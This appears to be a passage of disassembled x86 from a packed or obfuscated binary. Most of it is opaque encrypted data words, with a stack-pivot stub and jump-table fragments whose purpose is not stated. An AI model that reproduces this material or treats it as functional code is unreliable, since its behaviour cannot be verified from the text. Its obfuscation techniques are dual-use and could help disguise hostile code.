		dd 0D43F1472h, 0EE8EFFB2h, 0F7217AA7h, 6445h, 0B6E7DE00h
		dd 71ADDF0Bh, 77AF57D7h, 42AE78Ch, 0D2CBDC41h, 169BD271h
		dd 236D9305h, 1D1F175Fh, 58113418h, 0F0E9C2DBh,	0D56BABB3h
		dd 0AC07AF58h, 903FB903h, 0CC85A7A1h, 6786D832h, 42896531h
		dd 5B4412DFh, 0FB2C7138h, 179FBDh, 7E610000h, 1A1390DDh
		dd 0A8DF959Eh, 3B000001h, 0C5DE95B1h, 298FD8F0h, 0F1220102h
		dd 0A4C2F843h, 57D72662h, 0E5331CAFh, 0EC9ECD7Fh, 0CB64B5FFh
		dd 274CB75Dh, 4E303662h, 4D65AA9Bh, 14B654EFh, 6C52AAA5h
		dd 0AE6FB49Fh, 0F711B50Eh, 72FE1420h, 464284E2h, 3C72FE14h
		dd 238C3A13h, 52FD4900h, 1C4E7A33h, 0A4362C66h,	4F1BE07h
		dd 0C7620000h, 0FA97388Eh, 0A0C86BBFh, 5CF25DE9h, 1228D19h
		dd 4071FE4Ch, 0AEFCB1D2h, 92286505h, 0CC5A1331h, 3D89C063h
		dd 1109B3A9h, 0F3B605BCh, 5CFF8EB5h, 71528815h,	21B98DDh
		dd 6FC98CA1h, 1BCF74D8h, 0FFF8A6E1h, 77B39CB5h,	5FBE4F89h
		dd 620E4BBCh, 5938CC1h,	16B2FB9Ah, 0F32A9B5Eh, 8CD0B172h
		dd 0FD000004h, 2C97135Ah, 5BC44207h, 8D36743Dh,	0BD66A4E1h
		dd 0CE55D19Ch, 8BC667ABh, 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h
		dd 0BCCE1C88h, 0B605BD7Ch, 0FF1B0046h, 1788155Ch, 31F03D74h
		dd 71141B84h, 0DE04E238h, 57D76CACh, 0BBFD56AFh, 0DFD203FFh
		dd 5EEA12h, 0E73D0000h,	0F7D80EB5h, 0BAF7975Ah,	21AA5CC1h
		dd 9AE5514Ch, 0D71D9B74h, 7F06B5h, 0BBDBFCB6h, 0B891DC7Eh
		dd 0E449227Bh, 7F2262h,	0AAE381B6h, 0B6FB9C05h,	64CDE669h
		dd 3FE04BD5h, 75B5D77Dh, 4FB6007Fh, 8484C6E4h, 7EB6007Fh
		dd 0FBD743D5h, 2A14777Eh, 0BEE3AAC9h, 3409CB6Dh, 12000000h
		dd 0D80EB5E7h, 2715AEh,	0A644EFB6h, 0BBDD103Dh,	278D8D3Fh
		dd 0DC77B600h, 4ABC0AE3h, 0B600274Bh, 2E7C3558h, 0ADE885h
		dd 3AEBFh, 0D7785B00h, 0BA151E9Ah, 22913559h, 2F9450EFh
		dd 0B4E54A23h, 0CA71A364h, 0D7A7EA1Ch, 7F9DB600h, 0D7CDCDh
		dd 393BBFB6h, 5723C83Bh, 294BBC97h, 792A7760h, 0A70E93DAh
		dd 0DE7E6D36h, 0E5E67584h, 8AFBAE5Ch, 2C7DA2EBh, 2E759733h
		dd 14BCA959h, 0D473A6DAh, 0B2ABD20Ch, 0E1A8CB74h, 0E259FBBCh
		dd 309782C4h, 0C26DC351h, 70319A5Dh, 0E8A1C32Ch, 53F1524Bh
		dd 72119E1Ah, 0F85CEF3Bh, 0E055A743h, 0B9F59E88h, 32FB3F49h
		dd 6EC9C351h, 8F392375h, 0C9F966F0h, 6B3479D2h,	0FE3A4CC8h
		dd 0C4C9F966h, 2E54726Bh, 0F9679C9Ch, 294566C9h, 7012736Ch
		dd 71A7F03Dh, 0BD664F92h, 246D10F3h, 3A8133F4h,	9AA37A8Ch
		dd 0B661D0A1h, 9298A70h, 6ACEDF44h, 42EFA6C5h, 0A00D40E1h
		dd 0D0D758CDh, 0E5A6E4ADh, 0ACDE0CB7h, 0D749AF7Dh, 0D53EEC47h
		dd 79B2FFB6h, 0B0D34C3Fh, 392E3918h, 413A099Bh,	0EFB01DDCh
		dd 0C3E75CF0h, 0F0F992B9h, 224F70DDh, 97388E67h, 0EA70BDF4h
		dd 8BCE634Ch, 0F0F94743h, 86123DDDh, 0F7337A19h, 0AF5BE054h
		dd 9917F21Dh, 4CEFD0E4h, 15FE2C05h, 6AF03D78h, 9917D8D0h
		dd 0A881AAE4h, 0D75C1537h, 75F152C6h, 187DBDCFh, 0EC47E499h
		dd 187ABA4Ch, 0BD16E499h, 2647A8F4h, 43D5C66Bh,	9E93FBD7h
		dd 2E0227h, 0E7250000h,	0EDAAEFB5h, 123F83A8h, 2228D39h
		dd 63B5E64Bh
		dd 0DC304FF9h, 3912B600h, 0DC3272F4h, 0E54EB600h, 0D3423E3Ch
		dd 0B0A51476h, 7E000000h, 88155CFFh, 0F63B7617h, 7099EE68h
		dd 0AE1C0FD9h, 0CF86A50Ah, 0EBA2C162h, 3377913Fh, 11AF58D1h
		dd 0FE08F226h, 0AF58D531h, 3557D372h, 0AF58D4F5h, 3F8B64CFh
		dd 7BB8F194h, 0DB902B2h, 0E490FBh, 4DD972B6h, 1D005AFAh
		dd 48275D0Dh, 8329DDB6h, 0ED327F20h, 0BDEA7CBCh, 0A3BCAC46h
		dd 0C7511840h, 7E81E39h, 349F2B66h, 0F4AA5E13h,	94EC7E32h
		dd 1A1AE17h, 77120000h,	2A47E83Eh, 0D078DB6Fh, 8CA20D99h
		dd 0B1D27DC9h, 9021AEFCh, 1EACE182h, 42D895B5h,	0BC0A43E1h
		dd 0ED397013h, 6159E379h, 23B605BFh, 5EFF3EE5h,	92C9713h
		dd 0E7DDFA40h, 0AED80EB5h, 0B600054Fh, 55951A35h, 0B6000551h
		dd 690CF76Dh, 0BC92BEC1h, 4A23AE94h, 0AEAC75EEh, 1477BEB2h
		dd 0B355h, 5CFFEE00h, 76178815h, 0EE68F63Bh, 5C33EA43h
		dd 0ABBDFB48h, 0AF58A9E6h, 53D79EBDh, 0CDD123B5h, 3F4FA081h
		dd 0B2E6AFCEh, 9A074EEDh, 0E218A311h, 0AE3158h,	7F8937B6h
		dd 0B600AE3Bh, 218ECB68h, 0DB5DF608h, 3B8C1A35h, 42842299h
		dd 0BCAB4CF6h, 5C4763CCh, 8F30763Bh, 3305A3EEh,	7DEC7F2Dh
		dd 0D9C5BEh, 2F4A0000h,	0D27F2066h, 88B01397h, 0B4DA45C1h
		dd 690AB5F1h, 5819E624h, 56D499BAh, 0BA004DEDh,	0F4327B19h
		dd 2561284Bh, 29619B41h, 1BB605C0h, 5EFF76DDh, 1855F5DEh
		dd 57D6BAFEh, 0B6AF88AFh, 0E5ACCF70h, 29619BC1h, 1BAF57D7h
		dd 3512F830h, 88155CFFh, 87DC7417h, 3CD5F700h, 8C3F8B64h
		dd 0C9779328h, 0AA0E47E6h, 690FA5Ch, 45E7C8B6h,	6897F20Ch
		dd 0D14342C7h, 44AFBBF8h, 66C96F22h, 97388EC7h,	0EA70BDF4h
		dd 83206509h, 0ABF80EAAh, 0F80F3DF6h, 0C951A57h, 3CFA276Ah
		dd 1C9F1E87h, 5CFF06AFh, 0F2E9115h, 2A48D946h, 963FC26Fh
		dd 2E67060Dh, 0EDF87298h, 0D6B66D11h, 294CD345h, 0A60B46E8h
		dd 3F721475h, 63C0B9F2h, 32771C87h, 937CBCEDh, 3, 0FFCBB0B6h
		dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
		dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h
		dd 4, 4BE56h, 0F0290000h, 2404875Eh, 0E189515Ch, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 56240C89h,	0C681E689h, 4
		dd 8704EE83h, 895C2434h, 0FCB9243Ch, 51646120h,	592404FFh
		dd 4CF18141h, 6862CCC0h, 3039h,	83242489h, 5F042404h, 34BE5651h
		dd 15C9965h, 5E042474h,	8108478Fh, 6534086Fh, 34FF5C99h
		dd 0C4835F24h, 240C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 35h,	0E0h, 0B8h
		dd 6ADEAB3h, 0E0FFC503h, 1DEEACA4h, 76BEEB4Eh, 63DAF390h
		dd 454240A9h, 0EC0F8D8Dh, 0BD0106ADh, 6A829F5h,	5B98D89h
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 1F9F28C3h, 146985C7h, 6BC006A8h, 0B5290000h
		dd 6A81DDDh, 0BBD85C7h,	6A8h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B2E94EC3h
		dd 0C38B66ACh, 1535B5FFh, 850906A8h, 6A82769h, 22718589h
		dd 95FF06A8h, 6A820DDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 9CC35646h, 0BB337A20h, 8BFB8B66h, 0FF006AC7h
		dd 0A81B3195h, 0EBC08B06h, 621C1Eh, 0CB344314h,	487312C8h
		dd 0BA42C3FBh, 44A22034h, 0AB789176h, 0E54A2930h, 0E8BF506Ch
		dd 12h,	5626025Ch, 4C13B1E7h, 62B365D2h, 4826CC7Dh, 95892254h
		dd 6A80FA1h, 81B58959h,	8106A816h, 6CCCC1h, 0F2BF0F00h
		dd 8B66C033h, 834FFDAh,	0AED8589h, 895F06A8h, 0A80A7195h
		dd 0B9F78106h, 0BB3B8050h, 5CF31FDBh, 0C501EF81h, 8E9034Dh
		dd 0D2000000h, 9FF87342h, 81CE6FEFh, 0DFAD31F7h, 12E918h
		dd 4EF60000h, 0D725D152h, 2C70779Ch, 68FE5045h,	0DF923F08h
		dd 0AE857h, 0DA9A0000h,	5BAF5AA0h, 5F8C9D4Eh, 0AC1958Bh
		dd 8F5A06A8h, 9D8B0104h, 6A83345h, 8E9h, 7A9B3400h, 9148591Ch
		dd 4E8835Ah, 2800Fh, 0D88B0000h, 942CF881h, 850FFFFFh
		dd 16h,	3AE9F9h, 935F0000h, 204F1C50h, 0E24A9477h, 0BF144C7Dh
		dd 0CE9345Ch, 89000000h, 86572D7Ch, 4880DD4Bh, 0E967427Eh
		dd 0FFFFFF45h, 0D9086294h, 4D751E1Eh, 3475BF43h, 0FABA70D5h
		dd 831DE6D4h, 0EDB08D8Dh, 0F28006ADh, 0B98D89B3h, 6A06A805h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0A15C356h, 1CA90BE1h, 8BD7CD56h, 0A81F5DBDh
		dd 6985C706h, 6006A814h, 0E9000063h, 7,	76789658h, 0C7BCEBADh
		dd 0A80BBD85h, 6, 0F0816600h, 0B5FF332Bh, 6A81DA9h, 2C91BD8Bh
		dd 95FF06A8h, 6A820DDh,	0FF5BD29h, 6A06A8h, 1B3195FFh
		dd 0C08B06A8h, 57630CEBh, 43DDB4ECh, 76A0668Fh,	8E880E5h
		dd 6C000000h, 266DC286h, 536AF20Fh, 5A8DEA80h, 81F28B58h
		dd 749FC0h, 12E800h, 40360000h,	0D8494200h, 0DF27AA16h
		dd 58DC79FDh, 0A9896A00h, 0FAB95AF9h, 0B200001Ch, 66188B6Eh
		dd 0F381F98Bh, 7D7BB56Eh, 1A599501h, 0EB8106A8h, 7932DD1Eh
		dd 2CCDBD03h, 0C38106A8h, 13ED605h, 128F0Fh, 6E80000h
		dd 58000000h, 0A096F0BFh, 1D8D8906h, 5F06A830h,	9D291889h
		dd 6A80B01h, 2904E883h,	0A80805B5h, 850F4906h, 1Bh, 2CA98589h
		dd 27E906A8h, 2000000h,	0DAF1B56Bh, 0FCD986D5h,	0D57EE54Ch
		dd 89B87382h, 0A8320D8Dh, 0FF87E906h, 3633FFFFh, 6AC8539Eh
		dd 89CC0E81h, 30E92A6Bh, 90000000h, 64FCE7h, 24200h, 9 dup(0)
		dd 0E9000000h, 0CDBh, 0ADF08068h, 5786E906h, 9E68FFFBh
		dd 0E906ADF1h, 0FFFB577Ch, 0ADF31568h, 5772E906h, 2968FFFBh
		dd 0E906ADF4h, 0FFFB5768h, 0ADF4D968h, 575EE906h, 0E868FFFBh
		dd 0E906ADF6h, 0FFFB5754h, 0ADF79C68h, 574AE906h, 4368FFFBh
		dd 0E906ADF9h, 0FFFB5740h, 0ADFA2268h, 5736E906h, 9FC7FFFBh
		dd 18724065h, 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch,	0A1D57015h
		dd 5A7B81F9h, 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh
		dd 8B580C11h, 0B9D2130Eh, 104BD94Dh, 0FE3C58BAh, 2A565EA1h
		dd 60D24DD0h, 7C218076h, 62F6D039h, 0F52DF10Eh,	0A0C27FDEh
		dd 5BF91C29h, 461B0D78h, 904163A0h, 0EEE70F6Fh,	73B2A7F9h
		dd 20F22DB0h, 0F9EE52FEh, 6728E8A7h, 1F236F89h,	497F56h
		dd 0E5C00000h, 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch
		dd 5DC45BDAh, 0B9CF36C9h, 433F0A9Fh, 0A3738DFBh, 0C21C9F7Eh
		dd 0A7F67FAEh, 0FAE7EB14h, 58069406h, 0D2B5F4A6h, 12807660h
		dd 537C0C8Fh, 1E8F9BBDh, 0E08356h, 0D2AC0000h, 4BD94DB9h
		dd 0E331E51Fh, 0CFC37C88h, 7DBC6E92h, 682BD189h, 0C733A4FAh
		dd 0F959BCA6h, 3D485EA1h, 0F6E0F620h, 0C80F9200h, 0C5B9584Ah
		dd 13A3629Eh, 9BEF8C78h, 78614E0h, 76798DAh, 0A406A75Eh
		dd 16E1C239h, 0D45F2336h, 1E1A8911h, 0CE51538Eh, 0EE2FD053h
		dd 0F66E608Ch, 76962DA7h, 1D20CD65h, 8CF1B013h,	2CC6E009h
		dd 0A2709B53h, 5F53EC4Fh, 0EA4FDF21h, 0B0B4D62Bh, 0FDA2AF87h
		dd 69119DA2h, 7624DA80h, 0D747BB20h, 7310F352h,	45F11152h
		dd 10AC0CC9h, 0C4BC0E91h, 0DC75C3Eh, 0F5673F8Eh, 0A7A98h
		dd 0C8325200h, 53A5D7ABh, 0DB275C32h, 619DC4BAh, 0E8124E3Ch
		dd 524C20CBh, 0DBAFCC36h, 5C3253ADh, 0CAB8DD29h, 3C406591h
		dd 0E739BFBh, 0F13E580Ch, 4CB6D2DEh, 0D4205B2Fh, 0FCE560B7h
		dd 586181BEh, 75BF9E2h,	7727D18Bh, 0E5194032h, 0D83ABF22h
		dd 0A7F62CBCh, 3AC7A6F9h, 0A9B71EC3h, 5EE12D3Eh, 0A8FE12CCh
		dd 3B44A7F6h, 5896CFC0h, 0A45D228Eh, 0F69E2A42h, 7D3C67A7h
		dd 4C6A840Bh, 52561E6Fh, 0DDh, 19E79D11h, 0B9D28796h, 1F4BD94Dh
		dd 0FB1B5CE5h, 5EA1FE53h, 0FEF21A7Ch, 64BF5EA1h, 37A766B9h
		dd 0A1F9288Dh, 31A1DA5Eh, 167E37E9h, 355639C9h,	30E21641h
		dd 0CE302CD5h, 0A15E2DA6h, 4783D4F3h, 0F7700014h, 6A8CB514h
		dd 0A406FF73h, 0C5C0E53Ch, 66A93A1Ch, 895F261Eh, 0D1B04C35h
		dd 87E3EF30h, 8908A97Dh, 0AE31A259h, 6F9013A2h,	2FFF0963h
		dd 0F8F60B8Ah, 0AAC22480h, 0E7AC0A58h, 87B8DDBCh, 9AA7510Bh
		dd 0A58DC78h, 870699ACh, 0CDB14B37h, 3F889C5Ch,	5CBB1A88h
		dd 4C000009h, 0F5C9EA10h, 62507583h, 0E6D4F905h, 106607FBh
		dd 4AF19268h, 0FA007822h, 1FFE5D9h, 8B7F6E5Ch, 17E394EAh
		dd 0E9094E76h, 580C0F4Dh, 0D2908F08h, 48B34CB6h, 0F520BD9h
		dd 3459D8C1h, 0BCE11546h, 5EB9D26Dh, 3C68BD2Dh,	7CC6AFDFh
		dd 0DA683A9Dh, 26AC55A1h, 57FF1FB5h, 225EA121h,	0FC612083h
		dd 0ED1250B9h, 8205FBE1h, 9BFB3C7Dh, 5EA12173h,	0FA24E73Eh
		dd 5BF93443h, 9321F52Ch, 843052F8h, 0B3A7F934h,	0F9343B53h
		dd 702F76A7h, 0E8BA4422h, 6607E649h, 6E936710h,	34A1CD2Dh
		dd 0B5ECA7F9h, 33BE60F2h, 0F524BB2Bh, 7F68527Dh, 178768Bh
		dd 65593AFDh, 0CB148672h, 0B66498C7h, 0C36EB073h, 622CB359h
		dd 0A0DBE1AEh, 0BD3B0A30h, 3D9C7F73h, 56B12A98h, 0DF42D02Ah
		dd 93CFC37Ch, 0B574B569h, 182EFF21h, 55E76759h,	0E317407Ah
		dd 7FB8275Eh, 0CDEC1EEBh, 2255294Ah, 18C144D6h,	4C45A55Ah
		dd 4129EBFDh, 7984BDDEh, 0A784665Fh, 36B5744Ch,	35768BC9h
		dd 0C8A8B9D5h, 0EAADF435h, 87C0F515h, 0C3CF3090h, 47DA5DA7h
		dd 7D944EDCh, 0C13A60DDh, 56709E31h, 58C18836h,	4F1h, 0FE16BEE9h
		dd 0F0205EA1h, 0FE5EA1EEh, 0A15DF03Ah, 5E122C44h, 0D29079A1h
		dd 0C63AA12Dh, 279BA47h, 9C9FA808h, 7EA0638Eh, 0A406009Bh
		dd 0FE593D64h, 1634748Eh, 7E50984h, 9FC70000h, 18724065h
		dd 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch, 0A1D57015h, 5A7B81F9h
		dd 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh, 8B580C0Dh
		dd 0B9D2130Eh, 9658C129h, 8968A3B7h, 1557B015h,	0FDEC8AECh
		dd 6EB15BFDh, 553BA64Dh, 3151EEACh, 0A2AB81D4h,	0A8D97EA1h
		dd 0C1B75A5Dh, 58BA0653h, 0AC0B823Ch, 0C4472679h, 6AAE351Ah
		dd 0BBF9E637h, 0E2044586h, 1DE8BE4Ah, 74A0C207h, 411DE8BEh
		dd 62BC7FDEh, 18B0A527h, 4D29DDE8h, 0A5F1FE9Eh,	4C38B70h
		dd 49A9C220h, 6200662Dh, 0F7563968h, 6839A627h,	961B8B7Fh
		dd 66ED0969h, 79A86200h, 0AA286996h, 0CC6DC13Dh, 4F3E954Dh
		dd 54956758h, 58A09A32h, 0F012D76Bh, 6B58A044h,	6C2F8E11h
		dd 0CA91CAF1h, 0AD73926h, 6F1896ABh, 0F14446FFh, 482BBEF8h
		dd 0F81476B7h, 0B56B58BBh, 0B9CAAB6Ah, 3147EA42h, 14D32220h
		dd 87A5C412h, 7DD150CEh, 16BEA00Ah, 636B582Ah, 0FD61C0h
		dd 0E4F8DAEEh, 6D11F76h, 8BFB0000h, 0C7E4C71h, 0FEE5D9FAh
		dd 746D6102h, 0EB97EB88h, 0A5C96C11h, 56778DF5h, 0E7847A60h
		dd 6D0EFA93h, 0F99A6E19h, 0CA6284CBh, 87580C0Ah, 0FCE5170Ah
		dd 246181BEh, 915BF9EBh, 4F439C0Eh, 1318810h, 0E170368Ah
		dd 8A0DAC7Eh, 0EBBB4F38h, 0FAE6ECF3h, 8C0F9200h, 31DED3FCh
		dd 11ACCE73h, 0A2AE60h,	88779FFFh, 0E342AC0Eh, 4162BD20h
		dd 0E88F121h, 1AA7DEACh, 198D8D32h, 0CB63BF7Eh,	9EAC0EBDh
		dd 0CD0E3371h, 0B26094C1h, 5472AC6Fh, 19A952E7h, 41EA1486h
		dd 51B2A0AAh, 0F94AC05Eh, 89F01740h, 43309275h,	9321226Eh
		dd 6218C01h, 5B0B0000h,	0DC8EFCA1h, 4E35892Ah, 0C4BD11B2h
		dd 0BB279B38h, 0F5791C41h, 6A75D05h, 9734CAB0h,	1DBE4A23h
		dd 0A9CA3EA9h, 9A32549Bh, 0D7580C0Ah, 0FCE5675Ah, 4DC7C0DAh
		dd 0A14C812Dh, 9655CC5Eh, 7DDC3FEBh, 0CB6383C4h, 865EA103h
		dd 3639C1Fh, 5BFD5965h,	1FF49D28h, 0C42F17A3h, 0D72EB165h
		dd 5524D793h, 5BEBAA84h, 0ED1EB020h, 0E73D03C9h, 0C0A302F6h
		dd 0BBF118A3h, 0A85E0886h, 0B42775E9h, 69C83453h, 0F1057644h
		dd 0CF264250h, 4C8B6A9Eh, 9AC7967Ch, 74E6A949h,	0ED41B526h
		dd 0FFC5CA9Eh, 0B35B788Ch, 561A4995h, 1C299h, 1E4A4800h
		dd 3F336E4h, 0AA0F9F69h, 0FCE5F8EBh, 0E1FAAADAh, 5E49213h
		dd 62179AFCh, 89185BF9h, 8C45EB15h, 52E6A7F9h, 0DF840A7Dh
		dd 483D7323h, 0E84BEEBCh, 745A229h, 991998FAh, 0D78A2A1h
		dd 4E33BE64h, 0E05E9D66h, 0F7EB57E0h, 0BF4AD958h, 9A07BA5Ch
		dd 254629DCh, 40D22651h, 7E99F2h, 0FFD8489Ah, 3699D54Ah
		dd 8A773657h, 0F8F637C8h, 56A97D81h, 11F19834h,	0EB4AD5ACh
		dd 0FC03F628h, 0B5ECA949h, 3A71718Ch, 325FE1C6h, 92E0E373h
		dd 9B3353F9h, 0D6B2A65Ah, 9F3EEC4Fh, 520BEB98h,	9F1E8126h
		dd 0A61A2F43h, 0AAE595B2h, 0CEF72244h, 0DF8E0448h, 0DABD4138h
		dd 0D126E948h, 35h, 0ADFCE57Eh,	2240AC34h, 0F5B62613h
		dd 6C8EB312h, 5BF956ADh, 0E5117176h, 0B0A7F978h, 1CE89D71h
		dd 9B37E9BDh, 21A7F978h, 0B6D03E91h, 0B8561F94h, 0B8h
		dd 13B9D289h, 0A1FE5BF3h, 0EB9C165Eh, 49DDBC1Fh, 0BD4138B6h
		dd 0B86A9EC9h, 5C04B679h, 35A6F4A6h, 0D5B200C1h, 0D02C5529h
		dd 1C4FDD51h, 3A9BCBE8h, 655EA1F9h, 951D2E1Eh, 0E2A5074Ah
		dd 0B2D32750h, 0B34C0EEBh, 0FF0B7C72h, 5E82CB63h, 0AF1F86A1h
		dd 0D75AC83Ch, 3E4BAB54h, 83A40709h, 0F7931F20h, 6E1A680Dh
		dd 0E0BB3694h, 0D9F3477h, 41280h, 0B04A3A00h, 3BCDBF13h
		dd 43BF249Ah, 0C935AC22h, 50AAD6A4h, 3AE48833h,	0A317B44Eh
		dd 249A3BC5h, 522045B1h, 94A8CD39h, 89B3353h, 59D6580Ch
		dd 4CB6D266h, 0C7205B2Fh, 72B76799h, 0FC176E93h, 8FA5B737h
		dd 67BADB5Ah, 0B44DB9D2h, 274D9049h, 1C9F5048h,	0A84F388Eh
		dd 0D958CA30h, 0BEC25576h, 5EA27E12h, 5E7EF41Ch, 7A38A1A1h
		dd 2487A5C5h, 51ACA402h, 360D95B6h, 5D68550h, 9C1AE1h
		dd 25F9057Ch, 0FF622584h, 6634C8B7h, 4BB260C3h,	5F53ECAEh
		dd 0EA4FDF21h, 0B1B4D62Bh, 2A2A8F3h, 12719DFDh,	0E53CAC09h
		dd 0D13FA002h, 85173F8Bh, 35E08h, 0EC164E00h, 7781FBCFh
		dd 877B6056h, 15E990E6h, 9C660270h, 66185CFFh, 0EFE3807Ah
		dd 186E0FF1h, 86F4996Dh, 407C21D5h, 9B7DF3Fh, 0B502580Ch
		dd 74139F9Ah, 0C2B50988h, 609B6436h, 6A4EA7FDh,	0E85ADDEFh
		dd 596A0BFFh, 0EB485C22h, 0FD78984h, 5879FC4Dh,	0AD28EB04h
		dd 0F5F90644h, 0BEB158Fh, 51F8A2A0h, 3AFD3CEEh,	234384C5h
		dd 5EA1FC8Bh, 2DC5FC6h,	5BF9F1B7h, 6A752978h, 11857164h
		dd 1D00ACCEh, 0D24DA7F6h, 0C26EB073h, 78A7F61Dh, 7F80F7D8h
		dd 0E3E97004h, 0F668A6BBh, 0A7F6495Eh, 6109881Bh, 561ECA47h
		dd 0B5B4245Fh, 0DE741EEFh, 66CB5BAFh, 3BF30487h, 5C000000h
		dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0CD619DCAh, 12748D6Ch
		dd 5BF9E297h, 6B950998h, 0A7F62CC7h, 51C533A5h,	0C95DA7C3h
		dd 230A85DDh, 26C8C78Bh, 561EE100h, 101EEh, 0B9D23300h
		dd 0B7B12029h, 6434DFA3h, 0DF5C9BD1h, 0BA4E3F09h, 59E649E8h
		dd 0A12D9D39h, 0E649D85Eh, 0FAE634h, 0EE105192h, 5EA12D46h
		dd 6F559013h, 0EB0EBC5Eh, 0FFE85ADDh, 52059B0Bh, 0F8DD05A6h
		dd 0EA5EA101h, 81FC05F1h, 0D5830AD4h, 0E28302A0h, 9F0FFBECh
		dd 6E93D13Eh, 44A1CD2Dh, 0A8C35EA1h, 0B46BCE5Ch, 1455AA6Dh
		dd 441BB3D3h, 0CF565EA1h, 2FFF017Fh, 0EED70B8Ah, 0CB5BFABEh
		dd 97703B58h, 0E7EB2CD5h, 0BCD806FAh, 0F9A7F954h, 0F81AE7A6h
		dd 0A2A0CA4Bh, 748F928h, 0FF64FE7h, 189B0AACh, 5FFEBE7h
		dd 8C761260h, 8D35BF2Eh, 94F96B3Fh, 1B7h, 7617ED91h, 3A05600h
		dd 8F2CD08Fh, 11B24E3Bh, 9E3FC5BDh, 0DB8777FFh,	500E7C21h
		dd 0CCB90DAEh, 0B4279B38h, 0DEE12340h, 0C0710BCh, 0FDD45D58h
		dd 9C79139Fh, 278A18E6h, 971C544h, 0FE214DADh, 356C5EA1h
		dd 2A5D3152h, 866997CDh, 0FCE532E5h, 3F4081BEh,	0A1FEB7DFh
		dd 4CB82D5Eh, 13CF4ED1h, 0A4061D96h, 96621B9Bh,	50C2A504h
		dd 0F62F02AEh, 0B718B8A7h, 1EE03F59h, 9A2F56h, 0D2F00000h
		dd 6D94DB9h, 792DD188h,	0A51B725Ch, 0FD5CCF83h,	2AD0883Ah
		dd 0EC674678h, 6C1F5EA1h, 0D487FB98h, 0F5931F20h, 3A9D6118h
		dd 9A18EB7Bh, 0A45A00EFh, 51D0B3F6h, 0D26F2DCAh, 0FA1455B0h
		dd 0DEFF265Bh, 0CF7032DFh, 0A074B7AFh, 9EA302A2h, 0F1926810h
		dd 0BF1FE59Dh, 3F8E5C10h, 0D81362F0h, 0F0000000h, 6155768Ch
		dd 0EEDC8177h, 1A680DF1h, 9CF2936Fh, 0DE7D1EE4h, 6FCE496h
		dd 956B1165h, 1FEB82F0h, 0AB5F087Eh, 55B5FA0Ah,	580C0439h
		dd 0D2043B74h, 5B2F4CB6h, 60B7D420h, 903C5E9Fh,	0DD5EA1FEh
		dd 315DBD42h, 7C5EA1FEh, 0A7D06225h, 1A4DC353h,	21CECDEEh
		dd 0EF10570h, 0A4E791F1h, 6FB65BFDh, 8A7E69BFh,	0B90B0E75h
		dd 0BD1440A2h, 3E61A7F3h, 5DC08E3Bh, 92C5B9DAh,	0D0AB466h
		dd 9F79A2C7h, 0E31F4A48h, 457F5020h, 1859E612h,	0A0E65EF6h
		dd 9881BC9h, 82651664h,	7A8519E5h, 0A0E6FC18h, 8766B9C9h
		dd 0B9207624h, 523ED145h, 0E014477Dh, 0C834535Fh, 24F6007Ah
		dd 6D610285h, 0B11C8E7Ah, 13h, 0E41FE0BEh, 42386D8Fh, 0ED4A9133h
		dd 35BD3A34h, 0D2DCCF4Eh, 44DA48B2h, 0E137E713h, 1C9200F4h
		dd 0B40A9866h, 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h
		dd 14F2A056h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 23682414h, 8900003Eh, 3B68242Ch, 89000049h, 0BF572414h
		dd 6ADEF15h, 3C8BFD89h,	4C48124h, 54000000h, 8124148Bh
		dd 4C4h, 0EF895700h, 8BB53h, 0D3010000h, 5F5B3B89h, 5224148Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815D2434h, 4C4h
		dd 4ABAE900h, 0E89FFFFBh, 0B8651462h, 6ADFB1Fh,	0E0FFC503h
		dd 4180BAE3h, 3C4BA0A2h, 3B7CAA75h, 8A3C1B9h, 0A7078BCh
		dd 6BB028C5h, 5EE9FA92h, 5DC0923Dh, 6355383h, 636587h
		dd 3CC995FBh, 28C9AAE0h, 414D845Dh, 5C3CB686h, 5CBB9A91h
		dd 62CB2468h, 2A16F485h, 293F45EDh, 7D147090h, 3893977Eh
		dd 2B029DAh, 6F7CCB4Ch,	2BFBF66Bh, 0DCE9h, 0E9079500h
		dd 459CD70Fh, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 9 dup(0)
		dd 14D0E900h, 0E6680000h, 0E906ADFEh, 0FFFA80D6h, 0AE001068h
		dd 80CCE906h, 0EF68FFFAh, 0E906AE00h, 0FFFA80C2h, 0AE022F68h
		dd 80B8E906h, 0AA68FFFAh, 0E906AE02h, 0FFFA80AEh, 0AE039C68h
		dd 80A4E906h, 3668FFFAh, 0E906AE04h, 0FFFA809Ah, 0AE04D268h
